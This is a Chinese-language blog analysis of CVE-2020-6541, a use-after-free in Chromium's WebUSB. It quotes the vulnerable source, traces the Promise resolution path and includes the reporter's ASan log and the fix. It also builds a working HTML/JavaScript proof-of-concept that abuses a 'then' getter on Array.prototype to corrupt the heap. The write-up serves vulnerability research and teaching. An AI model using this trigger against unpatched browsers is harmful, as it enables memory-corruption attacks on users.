CVE-2020-6541分析

一、简介

  • CVE-2020-6541是 Chromium中WebUSB的一个Use-after-free漏洞,在版本84.0.4147.105之前该漏洞允许攻击者通过精心构造的html代码来造成堆破坏。

二、漏洞相关

上一篇文章中我们分析的是CVE-2020-6549。而这个漏洞与我们现在分析的CVE-2020-6541如出一辙,都是

外层循环使用迭代器来循环调用内层函数,之后该内层函数执行对应JS函数,而该JS函数会进一步执行某个函数使得外层循环所使用的迭代器失效。

因此,该分析将重点偏向于Promise的Resolve流程与POC的编写。

1. 漏洞细节

  • 以下是漏洞函数的源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    void USB::OnServiceConnectionError() {
    service_.reset();
    client_receiver_.reset();
    for (ScriptPromiseResolver* resolver : get_devices_requests_)
    // 注意这里调用的Resolve
    resolver->Resolve(HeapVector<Member<USBDevice>>(0));
    get_devices_requests_.clear();

    for (ScriptPromiseResolver* resolver : get_permission_requests_) {
    resolver->Reject(MakeGarbageCollected<DOMException>(
    DOMExceptionCode::kNotFoundError, kNoDeviceSelected));
    }
    get_permission_requests_.clear();
    }

    函数OnServiceConnectionError在内部会调用Resolve函数,它可以同步运行用户定义的JavaScript函数。如果JS函数调用USB::getDevices函数,那么该函数将修改get_devices_requests_哈希集合(hash_set)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ScriptPromise USB::getDevices(ScriptState* script_state,
    ExceptionState& exception_state) {
    // ...
    EnsureServiceConnection();
    auto* resolver = MakeGarbageCollected<ScriptPromiseResolver>(script_state);
    // 注意这里的insert语句
    get_devices_requests_.insert(resolver);
    service_->GetDevices(WTF::Bind(&USB::OnGetDevices, WrapPersistent(this),
    WrapPersistent(resolver)));
    return resolver->Promise();
    }

    这样会使基于范围的for循环中所使用的迭代器无效。如此,在循环的下一个迭代中,使用失效的迭代器将会造成UAF

2. Promise的简单研究

该漏洞最关键的地方,其实已经在漏洞概述中几句话讲解完成了。因此我们下面的分析主要是研究Promise的调用链。这个调用链不涉及漏洞的具体细节,只是作为一个扩展来学习一下。

  • 函数USB::OnServiceConnectionError会在基于迭代器的for循环中调用resolver->Resolve函数。而Resove函数内部调用ResolveOrReject函数

    1
    2
    3
    4
    5
    // Anything that can be passed to toV8 can be passed to this function.
    template <typename T>
    void Resolve(T value) {
    ResolveOrReject(value, kResolving);
    }
  • ResolveOrReject函数源码如下。注意函数的最后一行,如果没有特殊情况,则该ScriptPromiseResolver将调用ResolveOrRejectImmediately()以立即ResolveReject

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    template <typename T>
    void ResolveOrReject(T value, ResolutionState new_state) {
    // ...
    state_ = new_state;
    // ...
    if (GetExecutionContext()->IsContextPaused()) {
    ScheduleResolveOrReject();
    return;
    }
    // TODO(esprehn): This is a hack, instead we should CHECK that
    // script is allowed, and v8 should be running the entry hooks below and
    // crashing if script is forbidden. We should then audit all users of
    // ScriptPromiseResolver and the related specs and switch to an async
    // resolve.
    // See: http://crbug.com/663476
    if (ScriptForbiddenScope::IsScriptForbidden()) {
    ScheduleResolveOrReject();
    return;
    }

    ResolveOrRejectImmediately();
    }
  • 在之前的函数调用中,ScriptPromiseResolver所设置的state_kResolving,因此执行resolver_.Resolve函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    void ScriptPromiseResolver::ResolveOrRejectImmediately() {
    DCHECK(!GetExecutionContext()->IsContextDestroyed());
    DCHECK(!GetExecutionContext()->IsContextPaused());
    {
    if (state_ == kResolving) {
    // 调用Resolve
    resolver_.Resolve(value_.NewLocal(script_state_->GetIsolate()));
    } else {
    DCHECK_EQ(state_, kRejecting);
    resolver_.Reject(value_.NewLocal(script_state_->GetIsolate()));
    }
    }
    Detach();
    }
  • ScriptPromise::InternalResolver::Resolve函数以后的函数调用就涉及到V8了,这里我们就不再展开。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    void ScriptPromise::InternalResolver::Resolve(v8::Local<v8::Value> value) {
    if (resolver_.IsEmpty())
    return;
    v8::Maybe<bool> result =
    resolver_.V8Value().As<v8::Promise::Resolver>()->Resolve(
    script_state_->GetContext(), value);
    // |result| can be empty when the thread is being terminated. We ignore such
    // errors.
    ALLOW_UNUSED_LOCAL(result);

    Clear();
    }

3. POC

a. 如何触发onServiceConnectionError

这里我们需要回溯onServiceConnectionError函数的调用链。通过在线源码的交叉引用,我们可以发现在函数USB::EnsureServiceConnection中,USB::OnServiceConnectionError函数将会被设置为某个service的disconnection_handler

也就是说,当该service被关闭后,我们的目标函数OnServiceConnectionError将会被自动调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void USB::EnsureServiceConnection() {
if (service_.is_bound())
return;

DCHECK(IsContextSupported());
DCHECK(IsFeatureEnabled(ReportOptions::kDoNotReport));
// See https://bit.ly/2S0zRAS for task types.

// 注意看以下代码,该部分代码将service与对应mojo的IPC接口绑定在一起
auto task_runner =
GetExecutionContext()->GetTaskRunner(TaskType::kMiscPlatformAPI);
GetExecutionContext()->GetBrowserInterfaceBroker().GetInterface(
service_.BindNewPipeAndPassReceiver(task_runner));
// 注意这里,该行语句设置service断开时所要调用的回调函数,可以看到调用的是USB::OnServiceConnectionError
service_.set_disconnect_handler(
WTF::Bind(&USB::OnServiceConnectionError, WrapWeakPersistent(this)));

DCHECK(!client_receiver_.is_bound());

service_->SetClient(
client_receiver_.BindNewEndpointAndPassRemote(task_runner));
}

那么现在有两个问题

  • 第一个问题,如何执行USB::EnsureServiceConnection函数?显而易见,如果该函数没有被执行,那么OnServiceConnectionError函数就不会被绑定,那就更别说调用了。

    还是通过交叉引用,我们可以发现USB::getDevices函数会调用EnsureServiceConnection函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    ScriptPromise USB::getDevices(ScriptState* script_state,
    ExceptionState& exception_state) {
    // ...
    EnsureServiceConnection(); // 注意这里
    auto* resolver = MakeGarbageCollected<ScriptPromiseResolver>(script_state);
    get_devices_requests_.insert(resolver);
    service_->GetDevices(WTF::Bind(&USB::OnGetDevices, WrapPersistent(this),
    WrapPersistent(resolver)));
    return resolver->Promise();
    }

    因此我们可以通过执行USB::getDevices函数来执行EnsureServiceConnection函数,为未来执行OnServiceConnectionError函数做好准备。

    同时,通过执行getDevices函数,当触发onServiceConnectionError函数时,get_devices_requests_集合不为空,这样就可以进一步执行其中的Reslove方法。

    综上,执行getDevices函数可以完美的达到我们的预期目的,一箭双雕。

  • 第二个问题,我们如何触发service的关闭

    通过审计USB::EnsureServiceConnection函数的代码,我们可以发现,service在该函数中绑定了某个mojo IPC管道。如果我们能够触发该IPC管道的关闭,那么就可以触发service的disconnect_handler,最终也就能执行我们的目标函数onServiceConnectionError

    而关闭mojo IPC管道最简单的方式就是——关闭浏览器tab

因此最终我们可以编写以下代码来触发onServiceConnectionError函数。

1
2
3
4
5
6
7
8
9
10
<body>
<script>
if (!location.hash) {
open(location.href + '#second');
} else {
navigator.usb.getDevices();
close();
}
</script>
</body>

如图所示,成功触发:

img

b. 如何在Resolve内部执行getDevices

现在,我们已经可以通过构造特定的JS代码来执行onServiceConnectionError函数,进而执行其中的reslover->Resolve语句。问题是,我们如何使这个Promise在Resolve时可以执行我们所指定的JS代码

为便于分析,再贴一下USB::OnServiceConnectionError函数源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void USB::OnServiceConnectionError() {
service_.reset();
client_receiver_.reset();
for (ScriptPromiseResolver* resolver : get_devices_requests_)
// 注意这里调用的Resolve,返回的值是一个空的数组
resolver->Resolve(HeapVector<Member<USBDevice>>(0));
get_devices_requests_.clear();

for (ScriptPromiseResolver* resolver : get_permission_requests_) {
resolver->Reject(MakeGarbageCollected<DOMException>(
DOMExceptionCode::kNotFoundError, kNoDeviceSelected));
}
get_permission_requests_.clear();
}

初始时笔者尝试使用JS中的then操作,但通过本地调试发现无法达到预期目的。

尚未明确无法成功的原因,查找该原因可能需要对Promise机制有更深的理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<script>
function poc() {
if (!location.hash) {
open(location.href + '#second');
} else {
// 注意这里的then
navigator.usb.getDevices().then(() => {
navigator.usb.getDevices();
});
close();
}
}
</script>
</head>
<body onload="poc()"> </body>
</html>

但我们可以转换一个方向:由于OnServiceConnectionError函数中执行的Resolve函数,所传入的值为HeapVector<Member<USBDevice>>(0)。因此在JS层面中,返回的是一个空数组Array(0)

我们可以利用JS中的Array.prototype.__defineGetter__() API来设置回调函数。

__defineGetter__ 方法可以将一个函数绑定在当前对象的指定属性上,当那个属性的值被读取时,你所绑定的函数就会被调用。 - MDN

1
2
3
Array.prototype.__defineGetter__('then', () => {
navigator.usb.getDevices();
});

这样,当OnServiceConnectionError函数返回一个Array时,即可调用我们所设置的JS代码。

如此,最终便可以得到我们的POC代码。

c. 最终POC代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<script>
function poc() {
if (!location.hash) {
open(location.href + '#second');
} else {
Array.prototype.__defineGetter__('then', () => {
navigator.usb.getDevices();
});
navigator.usb.getDevices();
close();
}
}
</script>
</head>
<body onload="poc()"> </body>
</html>

漏洞提交者的asan log如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
=================================================================
==1==ERROR: AddressSanitizer: use-after-poison on address 0x7ec19e552e28 at pc 0x7fd471762cee bp 0x7fffc32b2290 sp 0x7fffc32b2288
READ of size 8 at 0x7ec19e552e28 thread T0 (chrome)
#0 0x7fd471762ced in blink::MemberBase<blink::ScriptPromiseResolver, (blink::TracenessMemberConfiguration)0>::GetRaw() const ./../../third_party/blink/renderer/platform/heap/member.h:250:44
#1 0x7fd471762ced in blink::MemberBase<blink::ScriptPromiseResolver, (blink::TracenessMemberConfiguration)0>::Get() const ./../../third_party/blink/renderer/platform/heap/member.h:188:27
#2 0x7fd471762ced in bool blink::operator==<blink::ScriptPromiseResolver, blink::ScriptPromiseResolver>(blink::Member<blink::ScriptPromiseResolver> const&, blink::Member<blink::ScriptPromiseResolver> const&) ./../../third_party/blink/renderer/platform/heap/persistent.h:826:12
#3 0x7fd471762ced in bool WTF::HashTraitsEmptyValueChecker<WTF::HashTraits<blink::Member<blink::ScriptPromiseResolver> >, false>::IsEmptyValue<blink::Member<blink::ScriptPromiseResolver> >(blink::Member<blink::ScriptPromiseResolver> const&) ./../../third_party/blink/renderer/platform/wtf/hash_traits.h:350:18
#4 0x7fd471762ced in bool WTF::IsHashTraitsEmptyValue<WTF::HashTraits<blink::Member<blink::ScriptPromiseResolver> >, blink::Member<blink::ScriptPromiseResolver> >(blink::Member<blink::ScriptPromiseResolver> const&) ./../../third_party/blink/renderer/platform/wtf/hash_traits.h:355:10
#5 0x7fd471762ced in WTF::HashTableHelper<blink::Member<blink::ScriptPromiseResolver>, WTF::IdentityExtractor, WTF::HashTraits<blink::Member<blink::ScriptPromiseResolver> > >::IsEmptyBucket(blink::Member<blink::ScriptPromiseResolver> const&) ./../../third_party/blink/renderer/platform/wtf/hash_table.h:666:12
#6 0x7fd471762ced in WTF::HashTableHelper<blink::Member<blink::ScriptPromiseResolver>, WTF::IdentityExtractor, WTF::HashTraits<blink::Member<blink::ScriptPromiseResolver> > >::IsEmptyOrDeletedBucket(blink::Member<blink::ScriptPromiseResolver> const&) ./../../third_party/blink/renderer/platform/wtf/hash_table.h:673:12
#7 0x7fd471762ced in WTF::HashTable<blink::Member<blink::ScriptPromiseResolver>, blink::Member<blink::ScriptPromiseResolver>, WTF::IdentityExtractor, WTF::MemberHash<blink::ScriptPromiseResolver>, WTF::HashTraits<blink::Member<blink::ScriptPromiseResolver> >, WTF::HashTraits<blink::Member<blink::ScriptPromiseResolver> >, blink::HeapAllocator>::IsEmptyOrDeletedBucket(blink::Member<blink::ScriptPromiseResolver> const&) ./../../third_party/blink/renderer/platform/wtf/hash_table.h:841:12
#8 0x7fd471762ced in WTF::HashTableConstIterator<blink::Member<blink::ScriptPromiseResolver>, blink::Member<blink::ScriptPromiseResolver>, WTF::IdentityExtractor, WTF::MemberHash<blink::ScriptPromiseResolver>, WTF::HashTraits<blink::Member<blink::ScriptPromiseResolver> >, WTF::HashTraits<blink::Member<blink::ScriptPromiseResolver> >, blink::HeapAllocator>::SkipEmptyBuckets() ./../../third_party/blink/renderer/platform/wtf/hash_table.h:296:12
#9 0x7fd471762ced in WTF::HashTableConstIterator<blink::Member<blink::ScriptPromiseResolver>, blink::Member<blink::ScriptPromiseResolver>, WTF::IdentityExtractor, WTF::MemberHash<blink::ScriptPromiseResolver>, WTF::HashTraits<blink::Member<blink::ScriptPromiseResolver> >, WTF::HashTraits<blink::Member<blink::ScriptPromiseResolver> >, blink::HeapAllocator>::operator++() ./../../third_party/blink/renderer/platform/wtf/hash_table.h:373:5
#10 0x7fd471762ced in WTF::HashTableConstIteratorAdapter<WTF::HashTable<blink::Member<blink::ScriptPromiseResolver>, blink::Member<blink::ScriptPromiseResolver>, WTF::IdentityExtractor, WTF::MemberHash<blink::ScriptPromiseResolver>, WTF::HashTraits<blink::Member<blink::ScriptPromiseResolver> >, WTF::HashTraits<blink::Member<blink::ScriptPromiseResolver> >, blink::HeapAllocator>, WTF::HashTraits<blink::Member<blink::ScriptPromiseResolver> > >::operator++() ./../../third_party/blink/renderer/platform/wtf/hash_table.h:2242:5
#11 0x7fd471762ced in blink::USB::OnServiceConnectionError() ./../../third_party/blink/renderer/modules/webusb/usb.cc:252:40
#12 0x7fd4a239793e in base::OnceCallback<void ()>::Run() && ./../../base/callback.h:99:12
#13 0x7fd4a239793e in mojo::InterfaceEndpointClient::NotifyError(base::Optional<mojo::DisconnectReason> const&) ./../../mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:376:31
#14 0x7fd4a23accaf in mojo::internal::MultiplexRouter::ProcessNotifyErrorTask(mojo::internal::MultiplexRouter::Task*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) ./../../mojo/public/cpp/bindings/lib/multiplex_router.cc:873:13
#15 0x7fd4a23a6e92 in mojo::internal::MultiplexRouter::ProcessTasks(mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) ./../../mojo/public/cpp/bindings/lib/multiplex_router.cc:786:15
#16 0x7fd4a23a2ad5 in mojo::internal::MultiplexRouter::OnPipeConnectionError(bool) ./../../mojo/public/cpp/bindings/lib/multiplex_router.cc:729:3
#17 0x7fd4a238653e in base::OnceCallback<void ()>::Run() && ./../../base/callback.h:99:12
#18 0x7fd4a238653e in mojo::Connector::HandleError(bool, bool) ./../../mojo/public/cpp/bindings/lib/connector.cc:635:44
#19 0x7fd4a230e3d4 in base::RepeatingCallback<void (unsigned int, mojo::HandleSignalsState const&)>::Run(unsigned int, mojo::HandleSignalsState const&) const & ./../../base/callback.h:133:12
#20 0x7fd4a230e3d4 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) ./../../mojo/public/cpp/system/simple_watcher.cc:292:14
#21 0x7fd4a32928f7 in base::OnceCallback<void ()>::Run() && ./../../base/callback.h:99:12
#22 0x7fd4a32928f7 in base::TaskAnnotator::RunTask(char const*, base::PendingTask*) ./../../base/task/common/task_annotator.cc:142:33
#23 0x7fd4a32d20ca in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::sequence_manager::LazyNow*) ./../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:333:23
#24 0x7fd4a32d19ec in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() ./../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:253:36
#25 0x7fd4a318bded in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ./../../base/message_loop/message_pump_default.cc:39:55
#26 0x7fd4a32d3332 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) ./../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:452:12
#27 0x7fd4a3228f7a in base::RunLoop::Run() ./../../base/run_loop.cc:124:14
#28 0x7fd49b59f386 in content::RendererMain(content::MainFunctionParams const&) ./../../content/renderer/renderer_main.cc:230:16
#29 0x7fd49b939cbe in content::RunZygote(content::ContentMainDelegate*) ./../../content/app/content_main_runner_impl.cc:502:14
#30 0x7fd49b93d218 in content::ContentMainRunnerImpl::Run(bool) ./../../content/app/content_main_runner_impl.cc:882:10
#31 0x7fd4a3542976 in service_manager::Main(service_manager::MainParams const&) ./../../services/service_manager/embedder/main.cc:453:29
#32 0x7fd49b93812f in content::ContentMain(content::ContentMainParams const&) ./../../content/app/content_main.cc:19:10
#33 0x55c339598713 in ChromeMain ./../../chrome/app/chrome_main.cc:117:12
#34 0x7fd46bb86e0a in __libc_start_main /build/glibc-M65Gwz/glibc-2.30/csu/../csu/libc-start.c:308:16

Address 0x7ec19e552e28 is a wild pointer.
SUMMARY: AddressSanitizer: use-after-poison (/chromium/src/out/release_asan/libblink_modules.so+0x26b4ced)
Shadow bytes around the buggy address:
0x0fd8b3ca2570: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fd8b3ca2580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fd8b3ca2590: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fd8b3ca25a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fd8b3ca25b0: 00 00 f7 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fd8b3ca25c0: 00 00 00 f7 f7[f7]f7 00 00 00 00 00 00 00 00 00
0x0fd8b3ca25d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fd8b3ca25e0: 00 00 00 00 00 00 00 f7 f7 f7 f7 00 f7 00 00 00
0x0fd8b3ca25f0: 00 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0fd8b3ca2600: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0fd8b3ca2610: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1==ABORTING

3. 漏洞补丁

与之前分析的CVE-2020-6549一样,新的补丁都是在迭代前先将集合复制一份,之后再迭代新复制出的集合。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void USB::OnServiceConnectionError() {
service_.reset();
client_receiver_.reset();

// Move the set to a local variable to prevent script execution in Resolve()
// from invalidating the iterator used by the loop.
HeapHashSet<Member<ScriptPromiseResolver>> get_devices_requests;
get_devices_requests.swap(get_devices_requests_);
for (auto& resolver : get_devices_requests)
resolver->Resolve(HeapVector<Member<USBDevice>>(0));

// Move the set to a local variable to prevent script execution in Reject()
// from invalidating the iterator used by the loop.
HeapHashSet<Member<ScriptPromiseResolver>> get_permission_requests;
get_permission_requests.swap(get_permission_requests_);
for (auto& resolver : get_permission_requests) {
resolver->Reject(MakeGarbageCollected<DOMException>(
DOMExceptionCode::kNotFoundError, kNoDeviceSelected));
}
}

三、参考

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~